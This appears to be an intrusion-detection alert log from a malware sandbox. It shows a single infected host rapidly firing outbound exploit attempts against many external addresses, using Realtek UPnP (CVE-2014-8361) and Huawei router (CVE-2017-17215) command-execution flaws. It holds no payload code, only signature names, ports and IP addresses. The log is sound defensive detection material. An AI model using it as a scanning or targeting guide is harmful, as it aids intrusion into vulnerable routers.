2024-10-06T20:01:06.889010+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	32772	156.111.21.115	52869	TCP
2024-10-06T20:01:06.889756+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48720	41.240.79.98	37215	TCP
2024-10-06T20:01:06.890538+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42832	156.77.142.2	37215	TCP
2024-10-06T20:01:06.890692+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55372	197.137.68.198	37215	TCP
2024-10-06T20:01:06.892744+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37136	197.107.116.23	37215	TCP
2024-10-06T20:01:06.892856+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42670	41.61.136.167	37215	TCP
2024-10-06T20:01:06.892930+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42524	156.35.78.115	37215	TCP
2024-10-06T20:01:06.893162+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47080	197.91.217.111	52869	TCP
2024-10-06T20:01:06.894494+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57182	156.140.4.216	52869	TCP
2024-10-06T20:01:06.896815+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60050	41.150.0.113	37215	TCP
2024-10-06T20:01:06.904050+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60460	197.164.143.249	37215	TCP
2024-10-06T20:01:06.904360+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51070	41.113.206.125	37215	TCP
2024-10-06T20:01:06.904674+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54606	156.112.233.104	37215	TCP
2024-10-06T20:01:06.905212+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42190	156.104.113.198	37215	TCP
2024-10-06T20:01:06.906131+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52038	197.223.1.202	52869	TCP
2024-10-06T20:01:06.906182+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54134	41.52.175.140	37215	TCP
2024-10-06T20:01:06.906302+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47168	197.102.208.139	52869	TCP
2024-10-06T20:01:06.906532+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43846	156.84.91.166	52869	TCP
2024-10-06T20:01:06.906541+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44782	41.152.8.136	52869	TCP
2024-10-06T20:01:06.906692+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53076	156.189.150.200	37215	TCP
2024-10-06T20:01:06.908498+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49878	41.84.181.199	52869	TCP
2024-10-06T20:01:06.908533+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41016	197.66.17.119	37215	TCP
2024-10-06T20:01:06.908705+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56462	41.166.51.57	37215	TCP
2024-10-06T20:01:06.908812+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55974	41.224.228.252	37215	TCP
2024-10-06T20:01:06.908913+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39612	41.183.191.136	52869	TCP
2024-10-06T20:01:06.923898+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58434	156.78.143.45	52869	TCP
2024-10-06T20:01:06.935262+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45600	41.172.241.134	37215	TCP
2024-10-06T20:01:06.935661+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53332	156.59.176.98	37215	TCP
2024-10-06T20:01:06.935724+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44266	156.171.125.229	37215	TCP
2024-10-06T20:01:06.935802+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41996	41.216.18.137	37215	TCP
2024-10-06T20:01:06.935820+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58002	41.147.247.83	37215	TCP
2024-10-06T20:01:06.935877+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59566	41.111.81.107	52869	TCP
2024-10-06T20:01:06.936564+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36268	41.33.42.120	52869	TCP
2024-10-06T20:01:06.937307+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55744	156.5.234.27	52869	TCP
2024-10-06T20:01:06.939576+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41368	41.49.2.128	52869	TCP
2024-10-06T20:01:06.939615+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56318	41.201.71.143	52869	TCP
2024-10-06T20:01:06.939862+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59470	156.209.57.80	37215	TCP
2024-10-06T20:01:06.941154+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46828	156.67.119.255	52869	TCP
2024-10-06T20:01:06.941319+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51842	197.233.118.113	37215	TCP
2024-10-06T20:01:06.951399+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37264	156.11.241.64	52869	TCP
2024-10-06T20:01:06.951523+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34590	197.21.179.212	37215	TCP
2024-10-06T20:01:06.952948+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50744	156.43.59.77	52869	TCP
2024-10-06T20:01:06.953072+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34498	156.146.11.26	52869	TCP
2024-10-06T20:01:06.953101+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41246	41.127.219.252	52869	TCP
2024-10-06T20:01:06.966658+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51694	41.138.115.205	37215	TCP
2024-10-06T20:01:06.966959+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53652	41.196.72.88	37215	TCP
2024-10-06T20:01:06.967054+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50154	197.163.24.101	37215	TCP
2024-10-06T20:01:06.967162+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41462	156.254.20.162	52869	TCP
2024-10-06T20:01:06.967169+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52056	41.68.38.42	37215	TCP
2024-10-06T20:01:06.967318+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57878	197.175.106.121	52869	TCP
2024-10-06T20:01:06.967403+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38682	197.202.148.63	52869	TCP
2024-10-06T20:01:06.967404+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39960	197.177.137.165	37215	TCP
2024-10-06T20:01:06.967477+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47522	41.21.163.213	52869	TCP
2024-10-06T20:01:06.967548+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36388	197.36.180.150	37215	TCP
2024-10-06T20:01:06.967709+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45940	156.121.102.48	52869	TCP
2024-10-06T20:01:06.968087+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58928	197.252.154.175	37215	TCP
2024-10-06T20:01:06.968098+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53074	197.30.226.169	37215	TCP
2024-10-06T20:01:06.968509+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33120	197.183.46.225	52869	TCP
2024-10-06T20:01:06.968800+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54270	197.104.236.18	52869	TCP
2024-10-06T20:01:06.968876+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40368	156.87.207.127	37215	TCP
2024-10-06T20:01:06.969284+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53276	41.145.82.194	52869	TCP
2024-10-06T20:01:06.969284+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51928	156.203.57.172	52869	TCP
2024-10-06T20:01:06.969372+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40318	41.126.219.241	52869	TCP
2024-10-06T20:01:06.970635+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37456	197.229.67.248	52869	TCP
2024-10-06T20:01:06.971164+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46368	156.33.124.178	37215	TCP
2024-10-06T20:01:06.972656+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53484	197.103.184.79	37215	TCP
2024-10-06T20:01:06.972742+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33578	197.29.5.14	52869	TCP
2024-10-06T20:01:06.973004+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40824	197.23.127.152	37215	TCP
2024-10-06T20:01:06.973004+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34380	156.140.244.109	37215	TCP
2024-10-06T20:01:06.982522+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39338	197.158.249.73	37215	TCP
2024-10-06T20:01:06.982605+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46142	41.117.90.99	37215	TCP
2024-10-06T20:01:06.982647+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57328	197.104.12.72	37215	TCP
2024-10-06T20:01:06.983069+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58908	156.79.32.11	52869	TCP
2024-10-06T20:01:06.983212+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35140	197.196.108.9	52869	TCP
2024-10-06T20:01:06.983382+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59994	197.218.118.61	52869	TCP
2024-10-06T20:01:06.983800+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49688	41.29.252.39	52869	TCP
2024-10-06T20:01:06.984244+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40912	41.135.148.77	37215	TCP
2024-10-06T20:01:06.984285+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37938	156.10.0.100	52869	TCP
2024-10-06T20:01:06.984311+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36266	197.173.47.28	37215	TCP
2024-10-06T20:01:06.984412+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37310	156.169.96.48	37215	TCP
2024-10-06T20:01:06.984606+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50744	156.135.133.206	52869	TCP
2024-10-06T20:01:06.986374+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55826	41.219.49.191	52869	TCP
2024-10-06T20:01:06.987012+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35622	197.59.148.206	52869	TCP
2024-10-06T20:01:06.987092+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35234	41.8.233.71	52869	TCP
2024-10-06T20:01:06.987217+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59072	41.86.8.174	37215	TCP
2024-10-06T20:01:06.987288+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44246	41.216.41.161	37215	TCP
2024-10-06T20:01:06.988637+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47026	197.89.171.150	37215	TCP
2024-10-06T20:01:06.997645+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53922	156.149.6.181	37215	TCP
2024-10-06T20:01:06.998136+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53716	197.251.92.146	37215	TCP
2024-10-06T20:01:06.998168+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41034	41.52.161.212	37215	TCP
2024-10-06T20:01:06.998275+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50658	197.85.205.5	52869	TCP
2024-10-06T20:01:06.998485+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54780	41.10.114.12	37215	TCP
2024-10-06T20:01:06.998543+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34816	156.159.83.36	52869	TCP
2024-10-06T20:01:06.998733+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44816	41.120.65.207	37215	TCP
2024-10-06T20:01:06.998971+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55112	197.253.224.211	52869	TCP
2024-10-06T20:01:06.999340+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46104	156.168.114.112	52869	TCP
2024-10-06T20:01:06.999863+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56118	197.63.163.35	37215	TCP
2024-10-06T20:01:06.999949+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55924	197.77.127.101	52869	TCP
2024-10-06T20:01:07.000022+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56976	197.184.245.173	37215	TCP
2024-10-06T20:01:07.000102+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53964	41.228.55.251	52869	TCP
2024-10-06T20:01:07.001988+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41804	197.248.57.110	37215	TCP
2024-10-06T20:01:07.002610+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52888	197.126.27.231	52869	TCP
2024-10-06T20:01:07.003414+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47240	197.109.187.45	52869	TCP
2024-10-06T20:01:07.003869+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47952	197.155.113.135	52869	TCP
2024-10-06T20:01:07.004038+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37054	197.177.84.199	52869	TCP
2024-10-06T20:01:07.013996+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48358	41.42.204.129	37215	TCP
2024-10-06T20:01:07.014091+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38818	41.90.125.11	52869	TCP
2024-10-06T20:01:07.014177+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46858	156.252.170.108	37215	TCP
2024-10-06T20:01:07.015283+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55172	197.247.139.132	37215	TCP
2024-10-06T20:01:07.015302+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48842	197.63.54.18	52869	TCP
2024-10-06T20:01:07.019462+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58702	41.26.146.231	37215	TCP
2024-10-06T20:01:07.029812+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42984	41.14.170.201	52869	TCP
2024-10-06T20:01:07.029925+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41954	197.239.132.38	52869	TCP
2024-10-06T20:01:07.031231+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53640	41.107.203.68	52869	TCP
2024-10-06T20:01:07.031265+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58010	41.67.114.133	52869	TCP
2024-10-06T20:01:07.033095+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51978	197.133.246.15	37215	TCP
2024-10-06T20:01:07.034990+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39718	41.32.233.53	52869	TCP
2024-10-06T20:01:07.045044+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60272	41.186.47.165	52869	TCP
2024-10-06T20:01:07.045637+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58926	41.163.209.214	37215	TCP
2024-10-06T20:01:07.050604+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55108	197.164.25.106	37215	TCP
2024-10-06T20:01:07.059989+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38084	197.37.70.229	37215	TCP
2024-10-06T20:01:07.060583+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50170	197.164.168.63	37215	TCP
2024-10-06T20:01:07.064373+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55872	156.136.209.164	37215	TCP
2024-10-06T20:01:07.076385+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55362	156.133.233.253	37215	TCP
2024-10-06T20:01:08.060805+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57252	156.80.69.183	37215	TCP
2024-10-06T20:01:08.061199+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40306	156.139.12.174	37215	TCP
2024-10-06T20:01:08.061377+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50862	41.120.114.119	37215	TCP
2024-10-06T20:01:08.062638+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58082	156.16.124.10	37215	TCP
2024-10-06T20:01:08.064544+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58478	41.233.44.190	37215	TCP
2024-10-06T20:01:08.076391+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48988	156.42.236.52	37215	TCP
2024-10-06T20:01:08.077935+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45922	41.17.121.18	37215	TCP
2024-10-06T20:01:08.080409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48806	197.45.60.52	37215	TCP
2024-10-06T20:01:08.108569+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36376	197.24.111.30	37215	TCP
2024-10-06T20:01:08.129119+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58372	41.38.116.194	37215	TCP
2024-10-06T20:01:09.224589+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43446	156.113.192.250	52869	TCP
2024-10-06T20:01:09.224640+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49576	41.168.107.217	37215	TCP
2024-10-06T20:01:09.224760+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48338	197.98.207.60	37215	TCP
2024-10-06T20:01:09.816995+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37042	156.200.116.254	52869	TCP
2024-10-06T20:01:10.076449+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51078	197.6.85.118	37215	TCP
2024-10-06T20:01:10.076455+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51026	41.30.135.209	37215	TCP
2024-10-06T20:01:10.076914+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51502	197.248.150.107	37215	TCP
2024-10-06T20:01:10.077956+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41450	41.196.187.73	37215	TCP
2024-10-06T20:01:10.092039+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35814	197.199.224.132	37215	TCP
2024-10-06T20:01:10.092076+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45548	156.252.219.203	37215	TCP
2024-10-06T20:01:10.092571+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54520	197.100.196.209	37215	TCP
2024-10-06T20:01:10.093651+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53382	41.245.196.43	37215	TCP
2024-10-06T20:01:10.093711+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55586	156.186.47.194	37215	TCP
2024-10-06T20:01:10.095699+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37000	156.221.220.140	37215	TCP
2024-10-06T20:01:10.123298+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54668	156.129.242.169	37215	TCP
2024-10-06T20:01:10.123911+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50306	197.230.212.179	37215	TCP
2024-10-06T20:01:10.156190+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43180	156.55.237.218	37215	TCP
2024-10-06T20:01:10.192038+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54364	41.242.86.254	37215	TCP
2024-10-06T20:01:10.387455+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44216	41.174.64.231	52869	TCP
2024-10-06T20:01:10.799184+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37398	156.233.94.116	37215	TCP
2024-10-06T20:01:11.125179+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50716	156.68.33.3	52869	TCP
2024-10-06T20:01:11.146725+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41876	156.141.35.255	37215	TCP
